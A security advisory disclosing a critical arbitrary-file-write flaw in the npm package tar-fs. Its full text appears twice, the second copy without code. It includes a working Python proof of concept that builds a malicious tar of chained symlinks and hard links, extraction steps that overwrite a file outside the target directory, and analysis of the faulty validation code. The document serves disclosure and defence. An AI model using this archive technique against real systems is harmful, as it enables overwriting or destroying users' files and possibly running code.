Summary
NPM package tar-fs allows a malicious tar file to write arbitrary files outside the destination directory.
Severity
Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls.
Proof of Concept
This proof-of-concept assumes it is being run under /home/username
.
The tar file created in this PoC will modify the /home/username/flag/flag
file that exists outside of the destination path the tar file is extracted into. The tar file will also create /home/username/flag/newfile
.
This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0.
1. Prepare the environment
$ pwd
/home/username
$ mkdir flag
$ echo "hello world" > flag/flag
2. Prepare the tar file
Open a Python interpreter and run the following code (can be copy and pasted).
import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
root = tarfile.TarInfo("root")
root.linkname = ("noop/" * 15) + ("../" * 15)
root.type = tarfile.SYMTYPE
tar.addfile(root)
noop = tarfile.TarInfo("noop")
noop.linkname = "."
noop.type = tarfile.SYMTYPE
tar.addfile(noop)
hard = tarfile.TarInfo("hardflag")
hard.linkname = "root/home/username/flag/flag"
hard.type = tarfile.LNKTYPE
tar.addfile(hard)
content = b"overwrite\n"
overwrite = tarfile.TarInfo("hardflag")
overwrite.size = len(content)
overwrite.type = tarfile.REGTYPE
tar.addfile(overwrite, fileobj=io.BytesIO(content))
content = b"new!\n"
# The following code is for [email protected] only. [email protected] and [email protected]
# correctly validate this filename, which stops this file being created.
newfile = tarfile.TarInfo("root/home/username/flag/newfile")
newfile.size = len(content)
newfile.type = tarfile.REGTYPE
tar.addfile(newfile, fileobj=io.BytesIO(content))
3. Extract the tarfile
$ pwd
/home/username
$ ls flag # check the flag dir and file are unchanged
flag
$ cat flag/flag
hello world
$ mkdir otherdir # this is a dummy dir to keep everything clean
$ cd otherdir
$ npm install tar-fs # install tar-fs
$ node
Welcome to Node.js v18.19.1.
Type ".help" for more information.
> const tar = require('tar-fs');
undefined
> const fs = require('fs');
undefined
> fs.createReadStream('../poc.tar').pipe(tar.extract('.'));
<ref *1> Extract {
//...
}
>
CTRL-D
$ cd ..
$ ls flag # the flag dir is different!
flag newfile
$ cat flag/flag
overwrite
$ cat flag/newfile
new!
Further Analysis
Multiple Symlinks
tar-fs has checks that attempt to prevent the creation of symlinks where the target is outside the destination directory. This amounts to the following check in onsymlink()
:
const dst = path.resolve(path.dirname(name), header.linkname)
if (!inCwd(dst)) return next(new Error(name + ' is not a valid symlink'))
Path.resolve()
merely joins paths passed as arguments and returns an absolute path without any ".."
components, joining the path with the current directory if needed. No attempt is made to resolve any symlinks in the path, nor check that they exist.
This means that a linkname
like "noop/noop/noop/../../../"
can be successfully created as it simply returns dst
and passes the inCwd(dst)
check. Likewise, noop
, with a linkname
of "."
, also evaluates to dst
.
However, once these symlinks are both created they can be used together to escape the destination directory. "noop/noop/noop"
evaluates to "."
, which means "noop/noop/noop/../../../"
becomes "./../../../"
allowing traversal outside the destination directory.
Hard link creation
Now that we have a symlink pointing outside the destination directory, the symlink can be used to create hard links that point to files outside the destination directory. These hard links can then be overwritten, replacing the contents of the file outside the destination directory.
This is possible due to the lack of validation when creating hard links in onlink()
:
const dst = path.join(cwd, path.join('/', header.linkname))
xfs.link(dst, name, function (err) {
if (err && err.code === 'EPERM' && opts.hardlinkAsFilesFallback) {
stream = xfs.createReadStream(dst)
return onfile()
}
stat(err)
When determining dst
the path is forced to be under cwd
, regardless of whether linkname
contains any ".."
. However, since the path used starts with the symlink created above (e.g. root/etc/passwd
) dst
can both start with cwd
, and point outside the destination directory, anywhere on the same filesystem.
Furthermore, when extracting files, if a file already exists, the same inode is written to - allowing arbitrary writes outside of the destination directory.
Symlink validation regression in v3.0.2
Prior to v3.0.2, the validate()
function would recursively check every component of the filename to ensure that either the component didn't exist, or was a directory.
// validate from v3.0.1 and earlier was effectively the following:
function validate (fs, name, root, cb) {
if (name === root) return cb(null, true)
fs.lstat(name, function (err, st) {
if (err && err.code !== 'ENOENT') return cb(err)
if (err || st.isDirectory()) return validate(fs, path.join(name, '..'), root, cb)
cb(null, false)
})
}
If a symlink was encountered, the callback was called indicating that the name had failed to validate.
v3.0.2 included PR#106, which appears to fix a windows related issue. This change meant that validate()
now only checked the path until it found the first component above the filename that was a directory, weakening the validation.
// validate from v3.0.2 and later is now:
function validate (fs, name, root, cb) {
if (name === root) return cb(null, true)
fs.lstat(name, function (err, st) {
if (err && err.code === 'ENOENT') return validate(fs, path.join(name, '..'), root, cb)
else if (err) return cb(err)
cb(null, st.isDirectory())
})
}
This means that for a tar file entry to be successfully extracted under a symlink, we need to ensure that there is a directory under the symlink as well. i.e. "symlink/.../dir/.../filename"
.
This regression, in conjunction with the root
symlink above, now means we can now successfully create any tar file entry anywhere on the filesystem, except in the root directory.
Impact
The latest versions of tar-fs v3.0.8, v2.1.2 and v1.16.4 are all vulnerable to arbitrary file writes via a hard link. Given previous vulnerabilities CVE-2018-20835 and CVE-2024-12905, all versions of tar-fs are likely vulnerable to this bug.
Only v3.0.2 - v.3.0.8 are vulnerable to both the hard link vulnerability and the symlink vulnerability.
Tar-fs is a very popular package:
- v3.0.2 or later: 16878 dependents, 8.5M weekly downloads
- v2.1.2: 38934 dependents, 6.3M weekly downloads
- v1.16.4: 9270 dependents, 194K weekly downloads
(Sources: https://deps.dev/npm/tar-fs/3.0.8/versions, https://www.npmjs.com/package/tar-fs?activeTab=versions, sampled May 16, 2025).
Approximately half of these dependencies appear to come from prebuild-install
.
Through the directory traversal arbitrary reads and writes are possible. Arbitrary reads allow an attacker to read sensitive data, while arbitrary writes allow an attacker to modify or destroy data, and in some cases arbitrary writes can be used to gain remote access, or run arbitrary code.
Timeline
Date reported: 2025-05-16
Date fixed: 2025-05-22
Date disclosed: 2025-08-14
Summary
NPM package tar-fs allows a malicious tar file to write arbitrary files outside the destination directory.
Severity
Critical - Anyone using tar-fs for extraction files with extract(), directly or indirectly, must patch immediately, or introduce other mitigating controls.
Proof of Concept
This proof-of-concept assumes it is being run under
/home/username
.The tar file created in this PoC will modify the
/home/username/flag/flag
file that exists outside of the destination path the tar file is extracted into. The tar file will also create/home/username/flag/newfile
.This has been tested on Linux with tar-fs v3.0.8, v2.1.2, v1.16.4, Node v18.19.1, v24.0.2, and NPM v9.2.0, v11.3.0.
1. Prepare the environment
2. Prepare the tar file
Open a Python interpreter and run the following code (can be copy and pasted).
3. Extract the tarfile
Further Analysis
Multiple Symlinks
tar-fs has checks that attempt to prevent the creation of symlinks where the target is outside the destination directory. This amounts to the following check in
onsymlink()
:Path.resolve()
merely joins paths passed as arguments and returns an absolute path without any".."
components, joining the path with the current directory if needed. No attempt is made to resolve any symlinks in the path, nor check that they exist.This means that a
linkname
like"noop/noop/noop/../../../"
can be successfully created as it simply returnsdst
and passes theinCwd(dst)
check. Likewise,noop
, with alinkname
of"."
, also evaluates todst
.However, once these symlinks are both created they can be used together to escape the destination directory.
"noop/noop/noop"
evaluates to"."
, which means"noop/noop/noop/../../../"
becomes"./../../../"
allowing traversal outside the destination directory.Hard link creation
Now that we have a symlink pointing outside the destination directory, the symlink can be used to create hard links that point to files outside the destination directory. These hard links can then be overwritten, replacing the contents of the file outside the destination directory.
This is possible due to the lack of validation when creating hard links in
onlink()
:When determining
dst
the path is forced to be undercwd
, regardless of whetherlinkname
contains any".."
. However, since the path used starts with the symlink created above (e.g.root/etc/passwd
)dst
can both start withcwd
, and point outside the destination directory, anywhere on the same filesystem.Furthermore, when extracting files, if a file already exists, the same inode is written to - allowing arbitrary writes outside of the destination directory.
Symlink validation regression in v3.0.2
Prior to v3.0.2, the
validate()
function would recursively check every component of the filename to ensure that either the component didn't exist, or was a directory.If a symlink was encountered, the callback was called indicating that the name had failed to validate.
v3.0.2 included PR#106, which appears to fix a windows related issue. This change meant that
validate()
now only checked the path until it found the first component above the filename that was a directory, weakening the validation.This means that for a tar file entry to be successfully extracted under a symlink, we need to ensure that there is a directory under the symlink as well. i.e.
"symlink/.../dir/.../filename"
.This regression, in conjunction with the
root
symlink above, now means we can now successfully create any tar file entry anywhere on the filesystem, except in the root directory.Impact
The latest versions of tar-fs v3.0.8, v2.1.2 and v1.16.4 are all vulnerable to arbitrary file writes via a hard link. Given previous vulnerabilities CVE-2018-20835 and CVE-2024-12905, all versions of tar-fs are likely vulnerable to this bug.
Only v3.0.2 - v.3.0.8 are vulnerable to both the hard link vulnerability and the symlink vulnerability.
Tar-fs is a very popular package:
(Sources: https://deps.dev/npm/tar-fs/3.0.8/versions, https://www.npmjs.com/package/tar-fs?activeTab=versions, sampled May 16, 2025).
Approximately half of these dependencies appear to come from
prebuild-install
.Through the directory traversal arbitrary reads and writes are possible. Arbitrary reads allow an attacker to read sensitive data, while arbitrary writes allow an attacker to modify or destroy data, and in some cases arbitrary writes can be used to gain remote access, or run arbitrary code.
Timeline
Date reported: 2025-05-16
Date fixed: 2025-05-22
Date disclosed: 2025-08-14